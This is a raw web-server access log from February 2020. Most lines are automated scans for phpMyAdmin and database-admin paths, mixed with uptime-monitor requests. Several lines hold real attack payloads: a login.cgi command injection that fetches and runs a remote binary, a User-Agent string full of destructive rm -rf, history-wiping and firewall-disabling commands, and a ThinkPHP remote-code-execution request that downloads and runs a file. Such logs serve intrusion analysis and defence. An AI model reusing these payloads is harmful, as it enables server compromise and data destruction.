140.143.47.55 - - [17/Feb/2020:11:05:14 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:14 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:14 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:15 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:15 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:17 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:17 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:17 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:17 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:18 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:18 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:18 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:19 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:19 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:19 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:21 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:21 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:21 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:22 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:22 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:22 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:22 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:23 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:23 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:24 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:25 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:25 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:25 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:25 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:26 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:26 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:26 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:26 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:26 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:27 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:29 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:11:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.47.55 - - [17/Feb/2020:11:05:31 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:33 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:33 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:33 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:33 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:34 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:34 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:34 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:35 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:36 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:37 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:37 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:37 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:37 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:38 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:38 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:39 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:42 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:42 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:42 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:42 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:42 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:43 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:43 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:43 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:45 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:45 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:45 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:45 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:46 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:46 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:46 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:49 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:49 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:49 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:49 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:50 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:50 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:50 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:51 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:51 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:51 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:53 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:05:53 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:06:02 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:06:03 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:11:06:03 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [17/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.219.173.109 - - [17/Feb/2020:11:07:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:11:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.244.232.128 - - [17/Feb/2020:11:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
81.213.166.62 - - [17/Feb/2020:11:19:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.76.223.13 - - [17/Feb/2020:11:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
212.91.246.72 - - [17/Feb/2020:11:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.243.9.72 - - [17/Feb/2020:11:23:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [17/Feb/2020:11:24:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.182.136.2 - - [17/Feb/2020:11:24:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:11:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.154.107.39 - - [17/Feb/2020:11:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.24.13.150 - - [17/Feb/2020:11:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
217.24.13.149 - - [17/Feb/2020:11:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
217.24.13.149 - - [17/Feb/2020:11:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
217.24.13.150 - - [17/Feb/2020:11:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
34.217.125.42 - - [17/Feb/2020:11:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:11:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
